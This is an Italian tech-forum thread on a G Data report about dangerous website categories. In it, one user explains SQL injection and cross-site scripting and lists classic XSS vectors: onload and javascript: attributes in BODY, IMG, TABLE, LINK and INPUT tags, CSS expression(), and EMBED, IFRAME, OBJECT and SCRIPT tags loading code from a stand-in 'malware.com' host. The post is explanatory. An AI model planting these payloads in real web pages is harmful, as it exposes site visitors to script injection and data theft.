G Data: la Top 10 dei siti più pericolosi - [NEWS]

[giampa]

Solo gli utenti registrati possono leggere l'articolo sul forum. Registrati o effettua il login!

[frakka]

Per esempio, nel 15,8 % dei casi criminali si servono di siti contenenti informazioni su computer, telecomunicazioni, software e hardware.

Io avrei diviso questa categoria in due parti: "computer, telecomunicazioni e hardware" e semplicemente "software": Non ci credo che siti che parlano di hardware possano risultare più virali dei siti porno... Credo invece che la percentuale di siti che tratta di crack e pirateria in generale contribuisca troppo ad alzare la posizione in graduatoria della categoria.

[Trattore]

... Credo invece che la percentuale di siti che tratta di crack e pirateria in generale contribuisca troppo ad alzare la posizione in graduatoria della categoria.

Anche a mio modesto avviso

[Lupo0731]

ma come è possibile che solo visitando un sito internet si possa prendere un virus? Credevo che solo cliccando qualcosa di strano o passando il mouse sopra qualche immagine si era a rischio? Sistemi di difesam tecniche varie ?

[brugola.x]

Sistemi di difesam tecniche varie ?

la prima e la più importante regola è quella di evitare le situazioni potenzialmente pericolose, senza ombra di dubbio la prevenzione è alla base della sicurezza dei nostri dati.

[Totocellux]

Esisterebbe sul serio la necessità di approfondire dettagliatamente il discorso sul malware in
genere e soprattutto su quello direttamente correlato con le minacce provenienti dal web, ma
il tema è talmente vasto, complesso e le implicazioni inerenti la sfera della privacy e dei nostri
dati più sensibili, che varrebbe in realtà la pena farlo in maniera più omogenea e completa

Prendendo però spunto dalle notizie diffuse da G Data si può tranquillamente partire da un dato
di fatto, al quale si può risalire accedendo ai dati delle più svariate statistiche: circa il 35% del
totale degli attacchi informatici sono riconducibili a tecniche di SQL e CSS/XSS-Injection, con
una lieve predominanza dei primi (~20%) sui secondi (~15%).

Tralasciando quanto riguarda gli attacchi via SQL-Injection, che vengono portati a termine
usando stratagemmi sulle interrogazioni (query) fatte sul web ai database SQL (di ogni tipo,
non solo a quelli di mamma Microsoft ovviamente), per le tipologia di attacco più mirate ai siti
web con contenuti dinamici gli attaccanti utilizzano il metodo più diffuso che è appunto il Cross
Site Scripting (XSS o CSS Attack, che dir si voglia).

Questo metodo di attacco è generalmente riferito a tutte quelle tecniche che fanno leva, in
vario modo, sulle vulnerabilità del codice contenuto nelle applicazioni web per avere la possibilità
di inviare, dapprima, del contenuto malevolo ad un utente e, successivamente, potersi appropriare
di un qualche tipo di dato presente sul pc della vittima.

Per un attaccante è relativamente facile portare a compimento un attacco del genere, in quanto
allo stato attuale, una tipica pagina web è formata da contenuto di tipo dinamico. Al contrario
di quanto accadeva con le pagine di una volta, nelle quali il contenuto era del tutto statico, i
siti web attuali non riescono più ad avere il completo e pieno controllo sulla generazione delle
odierne pagine dinamiche.

Il nocciolo del problema è proprio che una o più serie di semplici script, non provenienti da una
catena di fiducia, possono con relativa facilità essere introdotti all'interno di pagine dinamiche.

Ciò si rende possibile in quanto né il sito web dove il codice iniziale risiede, tanto meno il browser
client della vittima, vero e proprio mezzo della elaborazione finale, hanno la possibilità di avere a
disposizione le informazioni per riconoscere il significato o la pericolosità del contenuto malevolo
e prendere le opportune precauzioni del caso.



Tramite il Cross Site Scripting un attaccante può infatti inglobare all'interno, vulnerabile, di una
pagina web dinamica, codice malevolo di tipo client-side e di varia natura.

In genere la natura del codice inserito può variare ed essere di tipo HTML, JavaScript, ActiveX,
VBScript o Flash; di tutti, comunque, l'elaborazione può essere eseguita direttamente in ambito
locale, sul pc della vittima.

Va da sé come il browser di casa Microsoft (e a seguire, tutti quelli con Trident Engine) possa
risultare abbondantemente avvantaggiato nell'essere preso di mira, in quanto l'unico a poter eseguire
codice ActiveX e VBScript.

La vittima, a propria insaputa, non deve necessariamente generare alcuna azione o click particolare
per trovarsi ad essere attaccata: tutto il necessario alla finalizzazione dell'attacco potrà esserre
elaborato tramite i vari rendering engines degli stessi browser.

Questo codice è rappresentato spesso da un semplice link html (per non far generare il sospetto),
il quale può rimandare ad un sito esterno. Questo, a propria volta, può contenere da ultimo il
codice definitivo, più complesso e mirato.

Per chiarire meglio il concetto, ogni pagina web che viene strutturata per passare un parametro
ad un database (tramite linguaggio Html, Php, ASP, etc.) può essere vulnerabile a questa tecnica
di attacco: in genere il codice vero e proprio è inserito a partire da un qualsiasi form di login, di
recupero password, di richiesta di info et similia.

Quando un visitatore del sito infetto richiede la pagina, lo script è automaticamente scaricato
(= nessuna azione supplementare necessaria, oltre la richiesta stessa) ed eseguito dal browser.

All'interno della pagine web vengono usualmente caricate informazioni provenienti da svariate
altre pagine di origine, alcuni contenenti semplice testo, altri immagini, video e contenuti vari.

Tutto questo viene pur sempre gestito tramite i tag propri del linguaggio Html come:

BODY
DIV
EMBED
IFRAME
IMG
LINK
OBJECT
SCRIPT
TABLE

Quello che molti non sospettano minimamente è che, talvolta, anche un semplice post integrato sulla
propria bacheca della piattaforma Facebook può contenere, a propria insaputa e nella più completa
impossibilità di intervento da parte dei server di Facebook stessa, uno o più script malevoli.

Per essere un attimino più pratici passo ad elencare questi tag, accompagnati da un minimo di semplice
codice che renderà chiaro come sia estremamente semplice intervenire nelle pagine Html per perseguire
attacchi di tipo CSS:


BODY

questo tag può contenere uno script integrato che in genere usa l'evento "ONLOAD":
BODY ONLOAD = alert("XSS")

anche l'attributo "BACKGROUND" può allo stesso modo esser usato come exploit:
BODY BACKGROUND = "javascript:alert('XSS')"

DIV

questo tag, in maniera simile a quelli TABLE e TD può, tramite l'opzione "BACKGROUND-IMAGE" 
dell'attributo "STYLE", specificare uno script integrato:

DIV STYLE = "background-image: url(javascript:alert('XSS'))"

l'attributo "STYLE" del tag DIV può venire anch'esso facilmente manipolato:
DIV STYLE = "width: expression(alert('XSS'));"

EMBED

qualora l'attaccante, tramite l'attributo "SRC" di questo tag, volesse posizionare uno script 
malevolo all'interno di un file di tipo Flash, ci troveremmo di fronte ad un codice del genere:

EMBED SRC = "http://malware.com/xss.swf" AllowScriptAccess = "always"

IFRAME

il tag permette di importare codice Html all'interno della pagina tramite script:

IFRAME SRC = ”http://malware.com/xss.html”

IMG

alcuni browser sono in grado di eseguire uno script con l'attributo "SRC" associato al tag IMG:

IMG SRC = "javascript:alert('XSS');"

IMG DYNSRC = "javascript:alert('XSS')"

IMG LOWSRC = "javascript:alert('XSS')"

INPUT

se l'attributo "TYPE" del tag INPUT è impostato come "IMAGE", può facilmente essere 
manipolato per integrare uno script:

INPUT TYPE = "IMAGE" SRC = "javascript:alert('XSS');"

LINK

questo tag, che viene spesso usato per far riferimento a Cascading Style Sheets esterni, 
potrebbe anch'esso contenere uno script:

LINK REL = "stylesheet" HREF = "javascript:alert('XSS');"

OBJECT

questo tag è spesso usato per caricare uno script da una origine esterna:

OBJECT TYPE = "text/x-scriptlet" DATA = "http://malware.com/xss.html"

SCRIPT

è il tag più comune e facile da rilevare e presenta in realtà due forme usuali:

script esterno:
SCRIPT SRC = http://malware.com/xss.js /SCRIPT

script integrato nello stesso sito web:

SCRIPT alert(“XSS”); /SCRIPT

TABLE

l'attributo "BACKGROUND" del tag TABLE può essere soggetto ad exploit, qualora venga 
utilizzato per far riferimento ad uno script anziché, come usuale, ad una immagine:

TABLE BACKGROUND = "javascript:alert('XSS')"

il medesimo concetto può applicarsi al tag TD, qualora usato come separazione delle celle 
all'interno di una tabella:

TD BACKGROUND = "javascript:alert('XSS')"

Non so se riuscirò a trovare il tempo di poter approfondire autonomamente, comunque sia se
il tema dovesse interessare, mi presto volentieri a rivedere o approfondire i concetti, i dubbi e
le domande sui singoli aspetti.





p.s.

ho purtroppo dovuto eliminare tutti i delimitatori iniziali e finali (segni di minore e maggiore) dei tag
descritti dalle righe di codice e quant'altro: l'engine di VBulletin crea risultati imprevedibili nel parsing,
seppur posizionandoli all'interno dei rispettivi e previsti delimitatori di codice.

[brugola.x]

molto interessante, tanataroba Toto